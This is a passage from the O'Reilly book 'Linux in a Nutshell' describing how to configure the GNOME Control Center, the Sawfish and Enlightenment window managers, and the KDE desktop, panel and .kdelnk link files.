To add a new item to the menu, select its location in the menu tree and click the New Item button. The right window displays the properties settings for the item. Type in the name for the item, a comment for the tooltip, the command to launch the item, and its application type. Click OK to add the item to the menu.

Previous | Home | Next
15.2. The Panel | Book Index | 15.4. The GNOME Control Center
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The GNOME Control Center (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

15.4. The GNOME Control Center

The GNOME Control Center (Figure 15-4) is where most customization and configuration of your desktop environment takes place. Open the Control Center using the toolbox button on the panel, or from Utilities on the main menu. The Control Center contains a number of configuration applications, called capplets, that allow you to change various GNOME settings. The capplets are listed in the left pane of the Control Center window, and clicking on a name opens the capplet in the right pane.

Figure 15-4. GNOME Control Center

15.4.1. Desktop Settings

These sections provide settings for the overall look of your desktop by letting you choose the background, screensaver, theme, and window manager.

15.4.1.1. Background

Here's where you set your desktop background. You can choose to use an image for wallpaper or colors. In the wallpaper section, click the Browse button to select an image file from the filesystem. You can choose to have the image tiled on the background, centered, or scaled. In the color section, select to use either a solid, single color, or a horizontal or vertical gradient of two colors. Click the boxes for primary color and secondary color to pick the color.

This capplet sets the background via GNOME. Window managers also can set the background and can sometimes conflict with the GNOME setting. To ensure that GNOME sets the background, check the box labeled Use GNOME to Set Background at the bottom of the window.

15.4.1.2. Screensaver

Contains settings for the screensaver. You can choose from a list of available screensavers (including a random setting). Input the number of minutes of inactivity before the screensaver starts and whether you, the user, will be required to give your password before going back to the desktop. Power management settings are available here if your system is configured for them.

15.4.1.3. Theme selector

Themes provide a consistent overall style to the many widgets and components used by GNOME. A number of basic themes are included with the gtk-engines package, and you can download and install additional themes from http://gtk.themes.org.

Anythemes that are installed on your system are listed in the Theme Selector. You can select one and preview it in the lower section of the window. If you click Auto Preview, a theme will preview automatically when you click on it. Otherwise, click the Preview button to see how it looks.

If you have downloaded a theme and wish to install it, click the Install New Theme button. Provide the name and location of the .tar.gz or .tgz file and click OK. The new theme will be installed in the /usr/share/themes directory and be available for you to use on your desktop.

15.4.1.4. Window manager

This section allows you to select the window manager that GNOME will use and configure its properties if it has a configuration tool. By default, GNOME runs with the Enlightenment window manager. Other window managers may be used, but make sure that they are compliant with the GNOME architecture so as not to create problems for your applications.

The listing shows installed window managers that you can use. You can add a new window manager to the list by clicking the Add button. Type the window manager's name in the dialog box. If it has its own configuration tool, supply the tool name and location, too. A button underneath the list will be enabled stating Run the Configuration Tool for wm-name. Clicking this button will open the configuration application for that window manager.

15.4.2. Panel

Panels can be configured individually or globally. For individual configuration, right-click on the panel and select This Panel's Properties.

Most of the panel settings are made in the global panel configuration tool shown in Figure 15-5. To open this tool, select Global Preferences from the Panel menu.

Figure 15-5. Panel configuration settings

The global panel configuration section of the Control Center opens. It contains the following sections:

15.4.2.1. Animation

This tab controls the animated movements of the panel, such as when the panel is hidden or a drawer is opened. At the top of the tab is a radio button to enable or disable animation entirely. The rest of the settings are done with slider bars. The first two sliders to determine how fast or slow the panel will collapse when it minimizes under autohide and when you explicitly hide the panel with the arrow buttons. The next slider sets the speed of the opening and closing of drawers. For autohide panels, there are additional sliders for the amount of time before the panel minimizes and the size (in pixels) of the hidden panel.

15.4.2.2. Buttons

This tab controls the look of the various types of buttons on a panel (See Figure 15-5). Select which type of button you want to configure from the drop-down box.

Tiles provide a square background for a panel icon instead of the icon being displayed directly on the panel background. If you enable tiles (using the radio button at the top), you can select an image to use for the background of all buttons on the menu. Tiles also are used to create 3D-style buttons on the panel. You can choose the images for the up position and the down position (i.e., on a mouse-down). To select the image files, click the tile images, and the image file selection dialog opens for you to choose from.

Two slider controls allow you to set the number of pixels used for the border width around tiles and the depth of the icon when pressed.

The following additional settings are available:

Make buttons flush with panel edge

This setting causes buttons to be placed at the edges of the panel. There is no visible space between the button and the desktop background, although there is still spacing between panel buttons.

Show button tiles only when cursor is over them

This setting causes tiles to be unseen until the mouse pointer is over the button.

Prelight buttons on mouse-over

This setting causes buttons to "light up" when the pointer is over them.

15.4.2.3. Panel objects

This tab allows you to select among three methods of icon placement: Switched Movement makes icons switch places with the icon you are moving. This is the default behavior. Free Movement locks the current icons in place as you move another icon. Icons can be moved only to empty areas of the panel when this method is selected. Push Movement causes moving icons to push the others around but not move over them.

The Padding slider sets the amount of space (in pixels) separating objects on the panel.

15.4.2.4. Menu

This tab contains the global menu settings.

The first radio button enables large icons to be used for each menu item, indicating whether it is a folder, file, or application.

The second radio button, Show ... Buttons, toggles the cascading display of submenus off and on. If this button is selected, buttons containing ... are displayed for each menu item that contains a submenu. The submenu is displayed only when you press the ... button. Automatic display of cascading menus is used if this button is not selected.

The Show Pop-Up Menus Outside of Panels button controls the relative placement of pop-up menus to the panel. If this is enabled, pop-up menus are displayed on the desktop so that they don't overlap the panel. The Keep Menus in Memory button allows you to cache recently opened menus in memory, providing faster response from your desktop environment.

The remainder of this tab configures which sections of the menu you want to display. You have a choice of placing the sections directly on the main menu, placing them in a submenu, or not showing the sections.

15.4.2.5. Miscellaneous

The Miscellaneous tab provides a number of panel configuration settings:

Tooltips enabled

Enables tooltips to be displayed for launcher icons.

Close drawer if launcher inside it is pressed

Causes a drawer to close after one of its items is selected. Otherwise, it will remain open until you click on its closing arrow.

Raise panels on mouse-over

Causes the panel to come to the foreground on mouse-over if it is covered by another window.

Keep panel below windows

Allows GNOME-compliant applications to display over the panel (normally they would not cover the panel).

Confirm the removal of panels with a dialog

A pop-up window will ask you if you really want to remove a panel.

15.4.3. Document Handlers

This section configures the default programs used to run specific files based on their content type or URL.

15.4.3.1. Default editor

This section sets the text editor to be used by default when you open an editable file or choose the Edit menu command on a file within the file manager. A drop-down list of available editors is displayed. Click the Run in Terminal Window button if your chosen editor must be run in a terminal.

15.4.3.2. Mime types

This section allows you to set or edit mime types. Click the Add button to add a new type. A dialog will open asking for the category/type listing for the mime type and the extensions to associate with it. Optionally, you can supply up to two regular expressions to identify the mime type. To edit a mime type, select it in the listing and click the Edit button. You will see a dialog box in which you can choose an icon to be used for the file type, add or remove file extensions, and supply commands that will open, view, and edit this type of file. To delete a type, select it from the list and click the Delete button.

15.4.3.3. URL handlers

This page allows you to adjust the settings for special URL launchers used by the GNOME help system. The defaults for protocols such as HTTP, FTP, and Mail are already set and likely handled by your default web browser (for example, Netscape). The special URLs are ghelp, info, and man, corresponding to GNOME help files, command info files, and man files. The defaults use the help browser for these types of files. It is best to leave these settings as they are.

15.4.4. Multimedia

This section adjusts the settings for system sounds.

15.4.4.1. Sound

This page sets up a sound scheme for various actions. You can enable or disable all sounds on the General tab. The Sound Events tab displays a listing of available events and the sound files used for them. Select an event from the listing and click Play to hear its assigned sound. Use the textbox to input the name of the sound file to assign to an action, or use the Browse button to locate a sound file on the filesystem.

15.4.5. Peripherals

This section provides configuration settings for the keyboard and mouse.

15.4.5.1. Keyboard

Contains settings for keyboard autorepeat and sounds. You can set the repeat rate of a pressed key and the delay before it starts. You also can enable keyboard clicks and their volume. Settings can be previewed by typing in the Test Settings textbox.

Three sliders adjust the volume, pitch, and duration of the keyboard bell. Click the Test button to hear the the bell's new settings.

15.4.5.2. Mouse

Lets you set the mouse to be configured for either a righthanded user or a lefthanded user. You also can set the acceleration and threshold (sensitivity) of the mouse.

15.4.6. Session

This section contains settings for programs loaded at the start of each session.

15.4.6.1. Startup hint

The Startup Hint is a program that displays a message every time you log in. Hints can provide a useful tip for a GNOME function that the user might not yet know about. You also can use this program to display a fortune or a message of the day.

15.4.6.2. Startup programs

Since GNOME is session-aware, applications that are open when you log off are remembered and reopened the next time you log in. Not all applications are compliant with the GNOME session state, however. If you would like to set up programs to automatically start at login, you can configure them here. You can add, edit, or delete startup programs and view the currently running programs.

At the top of the window, there is an option button to show the splash screen on login. Two additional buttons give you the option either to be prompted to save session changes on logout or to automatically save the changes.

15.4.7. User Interface

This section sets various properties for application window components such as menus, toolbars, status bars, and dialog boxes.

15.4.7.1. Applications

The settings available in the applications section control the behavior of menus, toolbars, and status bars for GNOME applications.

Menu bars in GNOME applications can be detached from windows and placed anywhere on the desktop. This is the default behavior.

A detachable menu will have a small bar placed on its left edge. Click on this bar and drag to move the menu bar to another part of the desktop. To redock the menu bar, drag it back to the titlebar of its application window, and it will reattach.

For unmovable menu bars, unselect the the radio button labeled Can Detach and Move Menus.

The same detachable functionality is applied to submenus by default. To disable this behavior, unselect the radio button labeled Submenus Can Be Torn Off.

Three settings allow you to display menus, toolbars, and buttons on toolbars with a relieved border. The relieved border gives a three-dimensional visual appearance to the components; otherwise, they appear very flat.

Two options are available for status bars displayed at the bottom of windows. If a progress meter is used in a status bar, you can configure it to always appear on the right side of the statusbar. If this setting is disabled, the application will determine the progress meter placement.

Some statusbars may have user functionality defined by the application. You can enable statusbar interactivity with the supplied setting.

15.4.7.2. Dialogs

This page is divided into sections for the look of dialog windows and the positioning of dialog windows.

The Dialog Layout section allows you to configure the position of dialog buttons with the following options: Default, Spread Buttons Out, Put Buttons on Edges, Left-justify Buttons, and Right-justify Buttons. You also can enable or disable icons for dialog buttons and choose to use a window's statusbar instead of a dialog, when possible.

The Dialog Behavior section allows you to set the position of dialog windows with the following options: Let Window Manager Decide, Center of the Screen, and At the Mouse Pointer. You also can configure dialog hints and enable the automatic placement of a dialog over the application window from which it was launched.

15.4.7.3. MDI

MDI (Multiple Document Interface) describes the way multiple open documents are displayed in an application window. There are three styles available: Modal, Toplevel, and Notebook. Modal is the default setting. If you choose the Notebook style, you can set the document tab position to either left, right, top, or bottom.

15.4.8. Sawfish Window Manager Configuration

The Sawfish window manager is the default window manager used by the Helix GNOME Desktop used in the figures in this chapter. Sawfish is GNOME-compliant, working well not to overlap the GNOME desktop settings. The Helix version of the GNOME Control Center integrates the Sawfish configuration settings instead of using a separate configuration tool. The Sawfish section of the Control Center is shown in Figure 15-6.

Figure 15-6. Sawfish configuration settings

The following sections describe the Sawfish configuration settings contained in the Helix GNOME Control Center.

15.4.8.1. Appearance

This section sets the default appearance of windows, including the style of the window frame, fonts, and movement style.

The drop-down box contains a list of frame styles. The frame style determines how the titlebars of windows are displayed by customizing the buttons and background of the title.

Some pop-up windows are configured to be displayed without the window titlebar. To force the display of the title bar for all windows, click the button labeled Decorate Transient Windows Similarly to Top-level Windows.

The default window animation mode determines the display of windows when they are being minimized. You can choose from solid or wireframe modes or None for no animation.

The font button allows you to select the default desktop font. The default font is set by the GNOME desktop theme and Sawfish is aware of the setting so that they match.

15.4.8.2. Focus behavior

This section contains settings that determine how windows receive the input focus.

The selection box at the top determines how the mouse pointer sets focus. The default is to focus when the mouse clicks on the window. The other choices are to focus only when the pointer is in the window ("enter-exit") and focus stays with the last window entered ("enter-only").

Three checkboxes are used to enable the following focus policies: focus each window when first displayed, transient windows inherit focus from their parent, and raise windows when they are focused. You can set the delay (in milliseconds) between focus and the time the window is raised (brought to the foreground).

The advanced section contains the following additional settings:

  • Give focus to windows even when they haven't asked for it.

  • Offset from left window edge when warping.

  • Offset from top window edge when warping.

  • Does click-to-focus mode pass the click through to the window?

The Shade Hover section contains settings for the behavior of shaded windows. A shaded window is effectively rolled up, like a window shade, into its titlebar, usually by double-clicking on the titlebar. If you check the button to enable shade hover, a shaded window will temporarily unshade when the mouse pointer is placed on its titlebar. The next box allows you to select the delay (in milliseconds) before unshading occurs. The final setting in this section enables windows to be raised automatically when they are unshaded.

15.4.8.3. Minimizing and maximizing

This window contains settings for minimizing and maximizing windows. The settings for minimizing windows are as follows:

Windows are uniconified onto the current workspace

Minimized windows are opened on the current desktop workspace when they are clicked in the tasklist. You will usually have only one workspace in GNOME, which is divided into a grid of separate screens called viewports.

Windows are raised after being uniconified

Minimized windows are opened in the foreground when they are clicked in the tasklist.

Windows are focused after being uniconified

Minimized windows receive keyboard focus when they are clicked in the tasklist.

Iconifying a window that's a member of a group removes the whole group

If you minimize a window that is part of a group (e.g., an application may spawn several child windows from the main window), the whole group of windows will be minimized.

Uniconifying a window that's a member of a group restarts the whole group

In conjunction with the previous setting, a minimized window group will reopen if one of its members is raised.

Windows are uniconified to the current viewport

Minimized windows will reopen in the current screen, regardless of where they were before. In Sawfish, each screen of a desktop is referred to as a viewport.

The settings for maximizing windows are as follows:

Maximizing a window dimension always increases the size of that dimension

A window maximized vertically or horizontally will increase to that size even if it fills the screen.

Raise windows when they're maximized

Maximized windows automatically come to the foreground and receive focus.

Let ignored windows be overlapped when filling windows

If a window is set to be ignored (via the window menu), it will be overlapped by a fill command.

Lock window geometry while the window is maximized

No resizing of a window can occur if it is maximized.

15.4.8.4. Miscellaneous

This section contains some miscellaneous window settings, including settings for the display of tooltips.

Windows selected (normally by the Windows menu) are raised

A selected window, either by keyboard shortcut or the desktop window menu, will be raised with focus.

Unshade selected windows

If a shaded window is selected, it will automatically unshade.

Warp the mouse pointer to selected windows

The pointer is automatically moved to a selected window.

Keep transient windows stacked above

This listbox selects how transient windows are placed. Choose from None, Parents, or All.

Update all windows when the default frame style is changed

If you change the window frame style, all windows will be automatically updated.

Automatically reload themes when they are updated

If a theme is edited, the changes are made immediately.

Group transient windows with their parents

Transient windows such as dialogs are automatically placed in the window group of their parents.

Raise windows when they are unshaded

Windows receive focus and come to the top when unshaded.

To enable window manager tooltips, click the button labeled Display Tooltips for Window Frames.

Tooltips will be displayed until the pointer leaves the item. You can set them to automatically disappear by enabling Remove Tooltips After a Period of Time. The amount of time before displaying and before removing tooltips is set by two input boxes.

You also can set the font used in tooltips, as well as the background and foreground colors.

15.4.8.5. Moving and resizing

The method for drawing windows when they are being moved can be set to opaque or box. The same options are available for the drawing of windows being resized.

You also can toggle the following settings:

  • Raise windows being moved or resized interactively.

  • Show the current position while moving windows interactively.

  • Show the current dimensions while resizing windows interactively.

15.4.8.6. Placement

This section contains settings for the default placement of new windows. There are placement policy options for both normal windows and transient windows. Each setting contains a listbox with the following options:

  • Randomly (transient default)

  • Interactively

  • Centered

  • Centered-on-parent

  • Under-pointer

  • None

  • First-fit

  • Best-fit (window default)

  • First-fit-or-interactive

If you don't want to allow applications any control over placement, check the box Ignore Program-specific Window Positions. This setting is disabled by default.

For a first-fit or best-fit policy, you can set an amount of space in pixels to leave between window edges.

15.4.8.7. Workspaces

Sawfish manages the desktop work area by creating workspaces that can be divided into a number of different viewable screens, referred to by the GNOME Desk Guide applet as viewports. Workspaces can be thought of as desktops stacked on top of one another. Viewports are configured by a grid of rows and columns.

The first option in this window sets the number of workspaces. To define the grid of viewports, select the numbers of columns and rows you want each workspace divided into from the available settings.

By default, transient (pop-up) windows will be opened in the same workspace as the window that spawned them.

The Advanced section contains settings for moving between workspaces. When moving through workspaces or moving a window, choose the following options for movement at the ends of workspaces: stop, wrap around, or keep going.

The easiest way to move among viewports is by using the Desk Guide applet in the GNOME panel. If you would like to move through screens when moving the pointer on the screen, you can enable edge flipping. Two checkbox options set up edge flipping:

  • Flip to next viewport/workspace when pointer hits screen edge.

  • Flip only when interactively moving a window.

You can specify whether edge flipping takes you to the next viewport (the default) or the next workspace. If you want to set a delay for edge flipping when the pointer hits the screen edge, input a number in milliseconds.

15.4.9. Configuring the Enlightenment Window Manager

The Enlightenment window manager is the most common window manager used with GNOME. Configuring the window manager allows you to adjust the most general behavior of the desktop, such as mouse behavior, window placement, border styles, and the number of virtual desktops. You can access the Enlightenment configuration editor from the GNOME Control Center. Go to the window manager page, select Enlightenment from the list, and click the Run Configuration Tool for Enlightenment button. This opens the configuration window shown in Figure 15-7. The Enlightenment configuration tool is composed of the following sections:

Figure 15-7. Enlightenment configuration tool

15.4.9.1. Basic options

The options on this page set styles of window movement and window focus.

Move methods

These buttons select how the window is drawn when it is moved. The following styles are available: Opaque, Lined, Box, Shaded, Semi-Solid, and Translucent.

Resize methods

These buttons select how the window is drawn when it is resized. The following styles are available: Opaque, Lined, Box, Shaded, and Semi-Solid.

Keyboard focus follows

These buttons determine how "focus" is selected by the actions of the mouse. The available settings are Mouse Pointer (focus follows mouse), Sloppy Pointer (focus follows mouse after a delay), and Pointer Clicks (focus is given to window on which a mouse clicks).

15.4.9.2. Desktops

This section configures your desktop space. You can create a number of virtual desktops, each using its own screen and switch from one to another as needed. Two sliders allow you to create the column and row grid of a virtual desktop. Enabling Edge Flip will cause you to move to the adjacent desktop when the pointer moves across the edge of the current screen. The delay for the edge flip can be set in milliseconds. The Separate Desktops setting allows you to set a number of layered desktops (instead of multiscreen panes). Note that the GNOME Desk Guide applet does not support layered desktops.

15.4.9.3. Behavior

This section contains options for setting additional keyboard focus properties on new windows and miscellaneous options such as tooltips and placement of pop-up windows. The Advanced Focus tab contains the following settings:

All new windows that appear get the keyboard focus

New windows automatically receive the keyboard focus.

All new pop-up windows get the keyboard focus

New pop-ups automatically receive the keyboard focus.

Only new pop-up windows whose owner is focused get the keyboard focus

Only pop-ups generated by the window with the current focus receive the keyboard focus.

Raise windows when switching focus with keyboard

Minimized windows open when receiving focus.

Send the pointer to windows when switching focus with the keyboard

Mouse pointer moves automatically to windows that receive keyboard focus.

The Miscellaneous tab contains the following settings:

Tooltips

Click the Enable button to allow tooltips to appear when the pointer is over an icon. You can set the amount of time in seconds for the tooltip to display with the slider control.

Transient pop-up windows appear together with leader

Displays additional pop-up windows with the window that generated them.

Switch to where pop-up window appears

Automatically switches to the desktop screen where a new pop-up appears.

Display icons when windows are iconified

Displays a small icon on the screen when a window is minimized. Leave this option disabled as GNOME will handle this functionality with the panel.

Place windows manually

When a new window is opened, the pointer is automatically switched to the activated move bar of the window. Move the window to the desired location and click to place it.

15.4.9.4. Audio

This page is used to enable sounds in Enlightenment. Sounds for specific actions can be set manually or set as a group from a theme.

15.4.9.5. Special FX

This section contains settings for the motion of desktop components, with the following options:

Window Sliding Methods

The same window drawing options as on the Basic Options page appear here for sliding window animations, in addition to the following settings:

-- Windows slide in when they appear.

-- Windows slide about during window cleanup.

-- Desktops slide in when changing desktops.

-- Window shading speed (pixels/sec).

Drag bar

Click the button to enable, and set the location to left, right, top, or bottom.

Animate menus

Select this button to enable sliding menu animation.

Reduce Refresh

Select this button to reduce the rate at which the contents of the desktop are refreshed.

15.4.9.6. Backgrounds

This section lets you set the background for each virtual desktop you have. Select the specific desktop and then choose an image file from the list of available images. You also have an option button to select No Background. To add an image to the background list, click the Add New... button and specify the file.

The High Quality Rendering for Background button enables background images to be displayed at the full resolution and color depth that your display is set to.

Background for desktops that have not recently been viewed can be removed from memory by enabling the Minutes After Which to Expunge Unviewed Backgrounds from Memory button. Set the number of minutes to keep them in memory with the slider.

Note that setting a background image in Enlightenment will override the background settings you have made with GNOME.

15.4.9.7. Themes

This section allows you to select a theme to apply to the window manager. Themes create a distinctive and consistent look for windowing components and the background. Enlightenment themes are installed in the /usr/share/enlightenment/themesdirectory. You can download any number of user-created themes from http://e.themes.org.If you use a desktop theme in GNOME, use a basic window manager theme so you don't create any unwanted conflicts in your desktop style.

15.4.9.8. Shortcuts

This section allows you to set up keyboard shortcuts for Enlightenment functions. This section displays a list of predefined shortcuts. You can edit a shortcut by selecting it in the list, choosing a key modifier, and clicking the Change... button. A pop-up will ask you to press the key button to use for the shortcut.

Previous | Home | Next
15.3. The Main Menu | Book Index | 16. KDE
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


KDE (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 16. KDE

Contents:

Desktop Overview
The Panel and Taskbar
The KDE Control Center

KDE, the K Desktop Environment, is an open source software project that aims at providing a consistent, user-friendly, contemporary desktop for Unix and Linux systems. KDE is not simply a window manager like fvwm but a whole desktop system that integrates the window manager functions into its own graphical configuration. The KDE interface makes full use of drag-and-drop functionality, so you can grab an icon for a text file in the file manager and drag it to a text editor window to open it. Full network integration of KDE applications allows you to transparently access files from other computers or FTP sites and manipulate them as if they were local.

KDE also implements a standard help system based on HTML. Applications that display a Help button can open a specific help file in the help viewer.

One goal of KDE is to provide the user with system information and configuration through easy-to-use graphical interfaces of the desktop. The KDE Control Center is a central utility for desktop and application configuration, as well as a source of information for important system components. The Information module of the Control Center can retrieve and display status information for your processor, memory, PCI bus, and network devices.

A wide variety of applications have been developed to take advantage of KDE's features and provide the user with a wealth of productive applications. The base package comes with programs such as a mail client, a calendar and organizer, a CD player, image viewers, chat programs, and many more.

Most Linux distributions ship with KDE and allow you to set it up as the default session environment when you install the operating system. If you are installing KDE separately, download and install the KDE packages (you can find them at ftp://ftp.kde.org,among other places).

To set KDE as your desktop environment, look for the X initialization files in your home directory. Depending on your distribution, look for either .xinitrc, .xsession, or .Xclients in your home directory. If none of these files exist, create a new .xinitrc file. Edit the file to remove any window manager references that may exist and add startkde on a line at the end of the file. Make sure to put the KDE directories in your path. The default package installation is /opt/kde. Note that some distributions will use a different KDE path, but it will be configured by the default setup.

16.1. Desktop Overview

Figure 16-1 shows a typical KDE desktop. The bar across the top edge of the screen is the taskbar. It is used to keep track of application windows running on the desktop. The panel is at the bottom of the screen. The panel contains buttons for the main menu, the window list, and the desktop pager as well as other buttons used to launch applications.

Figure 16-1. The KDE desktop

The desktop displays open application windows and contains icons that can be used to launch applications with a single click. A number of icons are placed on the desktop by default. There are two folder icons. One opens the Templates folder, which contains a set of generic files used to create desktop links. The Autostart folder contains links to applications that are started automatically every time you log in. The Trash icon is a link to a special desktop folder to which you can drag files that you want to delete. There are also icons that link to mounted CD-ROM and floppy drives.

16.1.1. Application Windows

Each KDE window has a titlebar with common buttons on the right for minimize, maximize, and close. On the left side of the titlebar, there is a small icon (or a dash, if an icon isn't specified by the application) and a button that looks like a pushpin. The icon opens the window menu that contains a number of different functions you can apply to the window, such as sending it to another desktop. The push pin button is used to stick or unstick the window to the screen. If you click on the pushpin, the window will be sticky and appear on all of the virtual desktops. The button appears pushed in when a window is sticky. Click the button again to unstick a window.

The window menu contains standard window commands: Maximize, Iconify, Move, Resize, Sticky, and Close. There is also a command that lets you send the window to another virtual desktop.

16.1.2. kfm -- the KDE File Manager

One of the most important KDE applications is kfm. kfm is a graphical file manager and Internet browser and also controls the workings of the KDE desktop and the icons it contains. Anytime you click a folder icon, such as the Home folder button on the panel or the Autostart icon on the desktop, a kfm window opens displaying the contents of the directory. Figure 16-2 shows a kfm window displaying a home directory. Files and directories are shown as icons by default, but you can use the View menu to view contents with more detail.

Figure 16-2. kfm, the KDE file manager

The kfm interface has its roots in web browsers. The toolbar contains back and forward buttons for stepping through your selection history, a home button, reload, and stop. The Location bar uses URL addressing for both network addresses and local filesystems. HTML rendering is well-supported in kfm, although not as robust as commercial browsers. If you don't like the bells and whistles of advanced features such as Java applets and scripting, kfm makes a perfect, simple web browser. You can even save addresses as bookmarks and use HTTP cookies.

In addition to file management, kfm is responsible for the functioning of the desktop. When you log into a KDE session, kfm reads the contents of the Desktop directory. Any files or folders will be represented as icon links on the desktop. Items contained in the Autostart folder will be launched as well. kfm uses text files ending in .kdelnk to configure desktop links. These files are described later.

16.1.3. Adding a Link to the Desktop

There are a couple of ways to add a desktop link. The simplest way is to right-click on the background and select the New submenu in the pop-up menu. The New menu offers a number of choices for the type of link to create: Folder, File System Device, FTP URL, Mime Type, Application, Internet Address, and WWW URL. When you make a selection, a default icon for that type will appear on the desktop, and the properties window will appear for the link.

The properties window varies slightly for the type of link, but for all links you need to specify a name for the link file, the label for the icon, and the executable command or file location. You can also set the permissions for the link file and select a new icon.

The following example shows how to create an application desktop link that opens the Kedit text editor. First right-click on the desktop and select New [image] Application. A new icon appears on the screen with the default KDE "gear" graphic and labeled "Application," and the properties window opens.

The General tab, shown in Figure 16-3, shows the default name of the kdelnk file and other file information. Change the name of the file to reflect the purpose of the link; in this example, it is Kedit.kdelnk.

Figure 16-3. General tab of desktop link properties

Since you created the link file, the permissions allow you to use it. If you want to adjust the permissions, go to the Permissions tab. The next step is to supply the command used to open the application. On the Execute tab (Figure 16-4), type in the command, or click the Browse button to locate the file. Here you can change the icon for the link by clicking the button showing the current icon. This opens a window that displays a set of default KDE icons found on your system. Pick the one you like and click OK.

Figure 16-4. Execute tab of desktop link properties

The final step is to supply the name for the link and a tooltip comment. Fill in the Comment box on the Application tab (Figure 16-5) with a description of the application. Supply the name of the link (the label that appears under the icon on the desktop) in the Name box. Click the OK button to finish the configuration.

Figure 16-5. Application tab of desktop link properties

For URL or Internet address settings, the properties windows are all the same except for the default names and icons. These type of links require you to supply the URL address on the URL tab (Figure 16-6).

Figure 16-6. URL tab of desktop link properties

For a new device link, set the link name and permissions if needed. On the Device tab, supply the location of the device, such as /dev/fd3 and the mount point. Specify the filesystem type in the Filesystems box (e.g., default, msdos, etc.).

You can also add a link to the desktop by dragging an item from a file manager window. You can do this with any file or directory. After you drag the item to the desktop, a small pop-up window asks you whether you want to copy, move, or link the item. Copy simply makes a copy of the item in the Desktop directory. Move will remove the item from its original location and place it in the Desktop directory. If you choose link, the desktop icon will contain a symbolic link that points to the item's current location.

16.1.4. The Desktop Folder and kdelnk Files

Everything that is shown on the desktop exists in the ~/Desktop folder. If you open this folder in the file manager, you will see directories for Templates and Autostart, as well as .kdelnk files for the CD-ROM and floppy drive and any other links you have set. When KDE starts, it scans the contents of the Desktop directory and creates icons for each item.

Desktop links that launch applications, URLs, or files are configured in the background by .kdelnk files. These are simple text files that contain all the information that you set for a link in the link properties dialog boxes. Although all the configuration of desktop links is handled thoroughly by the configuration pop-up windows, the content of .kdelnk files may be of interest to advanced users. The following example shows the .kdelnk file for a link to the Kedit text editor:

    # KDE Config File
    [KDE Desktop Entry]
    Name[]=Kedit
    Exec=kedit
    Type=Application
    Comment[]=Text editor
    BinaryPattern=kedit;Kedit
    Icon=exec.xpm
    TerminalOptions=
    Path=
    Terminal=0
    MimeType=
    SwallowExec=
    SwallowTitle=
    Name[fi]=Sovellus
    Name[hr]=Program
    Name[sl]=Uporabniki program
    Name[pl]=Aplikacja
    ...

As you can see, the syntax is simple and straightforward. The items filled in on the properties windows are listed on each line of the file. The Type line identifies the kind of link file. In this example, Kedit is an application. Type=URL would indicate an Internet address link file. The Name line lists the name of the application, Exec lists the command, Icon identifies the icon image file, and so on. Unspecified options have empty values. The additional Names lines are set in the template files and provide alternate names for other languages should you switch the default language setting for your environment.

Previous | Home | Next
15.4. The GNOME Control Center | Book Index | 16.2. The Panel and Taskbar
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Panel and Taskbar (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

16.2. The Panel and Taskbar

The kpanel program runs the panel and the taskbar. The panel is the control bar across the bottom of the screen. The panel is used to find and launch applications and navigate among windows and desktops. It contains the menu, which organizes the installed KDE applications into submenus; the disk navigator, which provides a menu-driven display of filesystem contents; and the desktop pager. Additional buttons that open applications, directories, and URLs can be added to the panel.

16.2.1. The Desktop Pager and Window List

Like most window managers, kwm (KDE's window manager) can divide your workspace into multiple desktops. Different application windows can be open on each desktop, reducing the amount of clutter on your screen. You can switch among desktops by using the desktop buttons on the panel or by using the window list. The panel displays a grid of buttons, one for each virtual desktop, and their names (One, Two, Three, etc., by default). Clicking on a button will switch your screen to the corresponding desktop.

If you click the window list icon, it displays a menu divided into sections for each desktop and items for each window they contain. (The window list is also accessible by middle-clicking on the desktop background.) For example, if desktop two contains an open file manager window, you can click on it in the window list, and you will switch to desktop two and activate the file manager window.

You can configure the number of virtual desktops and their names in the Desktops section of the Panel configuration module in the Control Center.

16.2.2. The Taskbar

The taskbar runs across the top of your screen and helps you keep track of running applications. The taskbar contains buttons to identify each open application window. If the button for an application is clicked, it is the current active window. When you iconify a window, you can raise it again by clicking its button on the toolbar. If a window has been iconified, its taskbar button contains a parenthesized text label.

Whenever you use the arrow buttons to hide the panel, the toolbar displays buttons to access the main menu, the disk navigator, and the window list. These buttons will disappear when you show the panel again.

In the panel settings module of the Control Center, you can adjust the positioning of the taskbar on the screen or choose not to display it at all. You can also set it to autohide so that it reduces when you aren't using it.

16.2.3. Adding an Application Link to the Panel

The simplest way to add an application button to the panel is by dragging an icon from the desktop to the panel. This will copy the link from the desktop. Any application listed on the main menu can be easily added to the panel. From the main menu, choose Panel [image] Add Application, then select from submenus or items that are listed. The choices you have are the same items that appear on the main menu.

If you don't want to display some of the default panel buttons, you can use the Panel menu to turn them off (or on again). The window list and the disk navigator items on the Panel menu toggle the display of the buttons on the panel. If the item's menu icon appears clicked, the Panel buttons are enabled. Select it again from the menu to disable the Panel buttons.

16.2.4. Running an Application on the Panel

A swallowed application is a program that you run on the panel instead of in a desktop window. A swallowed application can be a small utility that monitors network activity or provides mail notification, for example. In the Execute tab of the properties window, type in the Swallowing on Panel section with the command to execute and the title that appears in the titlebar of the application's window. The panel identifies the application to "swallow" by its window title.

Previous | Home | Next
16. KDE | Book Index | 16.3. The KDE Control Center
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The KDE Control Center (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

16.3. The KDE Control Center

The KDE Control Center contains a number of configuration tools, called modules, that allow you to configure and view information about your system. You can configure the desktop, the window manager, input devices, and any other important part of your system here. The Control Center is split into two windows: the left window shows a hierarchical list of installed modules, and the right window displays them when they are selected. (You also have the option to display each module in its own window. Go to the Options menu and click the Swallow Modules entry, which is checked by default, to unselect it.)

16.3.1. Applications

The Applications modules set preferences for important KDE components, such as the login manager, kfm, and the panel.

16.3.1.1. Login manager (root only)

The KDE login manager is the program that controls the graphical login screen. This module lets you configure the graphical style of the login screen, as well as set some default display options, such as prelisted users and available session environments.

The Appearance tab lets you edit the greeting string displayed on the login screen and choose a logo. A drop-down box offers you a choice of the GUI style of the login screen: either Windows or a Motif style. The Language option on this tab lets you select the default character encoding for the login manager.

